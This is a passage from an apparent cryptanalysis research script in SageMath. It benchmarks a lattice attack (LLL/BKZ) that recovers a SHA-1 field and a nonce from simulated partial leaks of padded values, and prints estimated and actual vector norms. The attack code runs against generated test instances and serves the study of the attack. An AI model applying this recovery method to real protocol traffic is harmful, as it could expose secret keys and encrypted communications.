    for i in range(A.nrows()):
        for j in range(A.ncols()):
            A[i, j] = A[i, j] // 2 ** log_factor
    return A


def estimate(gamma, leaks, stage=1):
    logN_ = log(N_, 2)
    m = len(leaks)
    d = 2 * m + 2
    if stage == 1:
        log_vol = (
            (leak_pos - sha1_len)
            + m * (2 * leak_pos + leak_bits - logN_)
            + m * logN_
            + (leak_pos - 2)
        )
    else:
        log_vol = (
            (leak_pos - new_nonce_len)
            + m * (2 * leak_pos + leak_bits - logN_)
            + m * logN_
            + (leak_pos - 2)
        )

    gh = RR(log(sqrt(d / 2 / pi / e), 2) + (log_vol / d))
    nm = RR(log(sqrt(d), 2) + leak_pos - 1)

    return (gh, nm, gh - nm)


def extract_y(c):
    return c // 2 ** (total_len - sha1_len)


def extract_x(c):
    return (c // 2 ** (pad_len)) % 2 ** new_nonce_len


def benchmark(seed, nleaks, block_size=2, stage=1):
    set_random_seed(seed)

    if stage == 1:
        s_len = 256
    else:
        s_len = leak_pos - pad_len
    print(s_len)

    c, (gamma, leaks) = instancef(s_len=s_len, nleaks=nleaks, stage=stage)
    gh, nm, df = estimate(gamma, leaks, stage=stage)
    A = latticef(gamma, leaks, stage=stage)

    if stage == 1:
        log_factor = leak_pos - sha1_len - 64
        A = cut(A, log_factor)
    else:
        log_factor = leak_pos - new_nonce_len - 64
        A = cut(A, log_factor)

    scale = A[0, 0]
    target = A[-1, -1]

    L = A.LLL()
    if block_size > 2:
        FPLLL.set_random_seed(ZZ.random_element(2 ** 64))
        L = IntegerMatrix.from_matrix(L)
        BKZ2(L)(BKZ.EasyParam(block_size, flags=BKZ.VERBOSE))
        L = L.to_matrix(matrix(A.nrows(), A.ncols()))

    print(
        (
            "nrows: {nrows:3d}, lf: {lf:3d}, tv: {tv:4d}, GH: 2^{gh:.1f}, E[|v|]: 2^{nm:.1f}, "
            "|v|: 2^{rs:.1f}, GH/E[|v|]: 2^{df:.1f}"
        ).format(
            tv=log(target, 2),
            gh=float(gh),
            nm=float(nm),
            df=float(df),
            lf=log_factor,
            nrows=A.nrows(),
            rs=float(log_factor + log(L[0].norm(), 2)),
        )
    )

    if stage == 1:
        extract = extract_y
    else:
        extract = extract_x

    for i in range(L.nrows()):
        # print(hex(abs(L[i][-1])), hex(abs(target)), hex(abs(L[i][0] // scale)), hex(extract_y(c)))
        if abs(L[i][-1]) == target:
            return hex(abs(L[i][0] // scale)), hex(extract(c)), L

    print("Not found")
    return L[0][0] // scale, extract(c), L

